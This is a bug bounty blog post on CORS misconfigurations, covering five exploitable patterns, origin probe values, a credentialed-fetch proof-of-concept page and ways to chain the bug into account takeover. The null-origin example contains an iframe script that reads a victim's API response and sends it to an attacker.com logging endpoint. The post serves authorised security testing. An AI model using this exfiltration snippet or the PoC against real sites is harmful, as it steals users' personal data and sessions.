July 30, 2026
CORS Misconfigurations: The Closest Thing to a Free Bounty on Every Program
TL;DR: CORS bugs still pay in 2026 because most hunters stop at “the header reflects my origin” instead of proving actual impact. This…

By samael0x4
3 min read
TL;DR: CORS bugs still pay in 2026 because most hunters stop at "the header reflects my origin" instead of proving actual impact. This piece covers the five patterns that get paid, a step-by-step testing methodology, a working PoC template, and the exact reasons triage teams reject CORS reports — so yours doesn't end up in that pile.
If you've hunted for more than a month, you've filed a CORS report. If you've hunted for more than a year, you've probably had one rejected as "informative" and wondered what you missed.
That gap — between finding a misconfiguration and proving it's exploitable — is where this vulnerability class actually lives.
🎯 What CORS Is Actually Protecting You From
CORS relaxes the browser's Same-Origin Policy so a trusted origin (like app.bank.com) can read responses from another (api.bank.com). The whole model rests on two headers:
Access-Control-Allow-Origin: <origin>
Access-Control-Allow-Credentials: trueAccess-Control-Allow-Origin: <origin>
Access-Control-Allow-Credentials: trueWhen a server reflects any origin here and allows credentials, an attacker's page can fire an authenticated request using the victim's session — and read the response back. The bug isn't "CORS is enabled." It's "CORS is enabled in a way that breaks its own trust boundary."
🔥 The Five Patterns That Actually Get Paid
1. Reflected Origin (the classic)
Server echoes whatever Origin you send back into Access-Control-Allow-Origin.
Request: Origin: https://evil.com
Response: Access-Control-Allow-Origin: https://evil.com
Access-Control-Allow-Credentials: trueRequest: Origin: https://evil.com
Response: Access-Control-Allow-Origin: https://evil.com
Access-Control-Allow-Credentials: trueIf both headers show up together, you have a full read primitive.
2. Null Origin Trust
Servers sometimes whitelist Access-Control-Allow-Origin: null for sandboxed iframes. Attackers force this trivially:
<iframe sandbox="allow-scripts allow-top-navigation allow-forms" src="data:text/html,<script>
fetch('https://victim.com/api/user', {credentials:'include'})
.then(r=>r.text())
.then(d=>fetch('https://attacker.com/log?d='+encodeURIComponent(d)))
</script>"></iframe><iframe sandbox="allow-scripts allow-top-navigation allow-forms" src="data:text/html,<script>
fetch('https://victim.com/api/user', {credentials:'include'})
.then(r=>r.text())
.then(d=>fetch('https://attacker.com/log?d='+encodeURIComponent(d)))
</script>"></iframe>3. Weak Regex / Suffix Matching
if (origin.endsWith("victim.com")) { allow(); }if (origin.endsWith("victim.com")) { allow(); }Looks safe. Isn't. notvictim.com, evil-victim.com, and victim.com.evil.com all slide through.
- Trusting
RefererInstead ofOrigin
Some middleware falls back to parsing Referer when Origin is missing. It's just as easy to forge from a static HTML page.
5. Pre-flight Bypass via Simple Requests
GET/POST requests with standard content types skip pre-flight entirely. If state changes on GET with no CSRF token, CORS headers don't even matter — you've found CSRF, and it's worth flagging alongside your CORS report.
🔎 Quick Visual Summary
Pattern Trigger Proof Needed Typical Severity Reflected origin Origin echoed + ACAC: true PoC fetch + leaked data High–Critical Null origin trust ACAO: null accepted Sandboxed iframe PoC High Weak regex/suffix match victim.com.evil.com passes Bypass origin + response Medium–High Referer fallback Forged Referer accepted PoC page, no Origin header Medium Pre-flight bypass State change on simple request CSRF-style PoC Medium–High
🕷️ How to Actually Find These
Step 1 — Map authenticated endpoints. CORS on public, unauthenticated data isn't a bug. Focus on requests carrying cookies or bearer tokens: /api/user, /api/account, /api/admin/*, GraphQL, anything returning PII.
Step 2 — Send origin probes. Replay each request with:
Origin: https://attacker-controlled.com
Origin: null
Origin: https://sub.victim.com.attacker.com
Origin: https://victimXcom.com
Origin: https://victim.com.attacker.comOrigin: https://attacker-controlled.com
Origin: null
Origin: https://sub.victim.com.attacker.com
Origin: https://victimXcom.com
Origin: https://victim.com.attacker.comStep 3 — Check headers on every response. Some WAFs strip these headers selectively. Test the exact vulnerable path, not a neighboring one.
Step 4 — Prove it with a real PoC. Header reflection alone gets closed as informative. Show leaked data.
<!DOCTYPE html>
<html>
<body>
<script>
fetch("https://victim.com/api/user/profile", {
method: "GET",
credentials: "include"
})
.then(response => response.text())
.then(data => {
document.getElementById("output").innerText = data;
});
</script>
<pre id="output"></pre>
</body>
</html><!DOCTYPE html>
<html>
<body>
<script>
fetch("https://victim.com/api/user/profile", {
method: "GET",
credentials: "include"
})
.then(response => response.text())
.then(data => {
document.getElementById("output").innerText = data;
});
</script>
<pre id="output"></pre>
</body>
</html>Host it, load it while logged into a test account, screenshot the leak. That screenshot outweighs any amount of header analysis.
🚪 Where Reports Get Rejected
"This endpoint doesn't return sensitive data." No real body, no real impact. Chase endpoints with something worth stealing.
"CORS is expected here." Some public, read-only endpoints are meant to be open cross-origin. Check scope notes first.
No credentials, no cookies. Without Access-Control-Allow-Credentials: true, reflected origin alone usually isn't exploitable — nothing sensitive is tied to the requester's identity.
Severity inflation. Leaking name and email is Medium. Leaking a session token or enabling account takeover is High or Critical. Say exactly why in your report.
🔥 Chaining for Higher Payouts
CORS rarely tops out alone — it's usually the delivery mechanism:
- CORS + token in response body → session hijack, no cookie theft needed.
- CORS + password-reset token exposure → account takeover chain.
- CORS + internal API reachable via a trusted subdomain → broader internal exposure.
Always ask: if I can read this response, what's the worst thing in it? That question separates a $100 report from a $2,000 one.
🎯 A Note on 2026 Tooling
CDNs and API gateways now generate CORS headers from config rather than custom code, which has cut down trivial reflected-origin bugs on well-resourced programs. But it pushed the bug elsewhere: staging subdomains, IaC templates, and third-party SaaS integrations that inherit production CORS policy without review. Hunt there first.
Quick Checklist
- Enumerate authenticated, data-returning endpoints first.
- Test reflected, null, and suffix-bypass origins on each one.
- Confirm
Access-Control-Allow-Credentials: trueshows up alongside the reflection. - Build a PoC that exfiltrates real data, not just a header screenshot.
- Tie severity to a concrete attack scenario.
- Check staging and internal subdomains — that's where old bugs survive longest.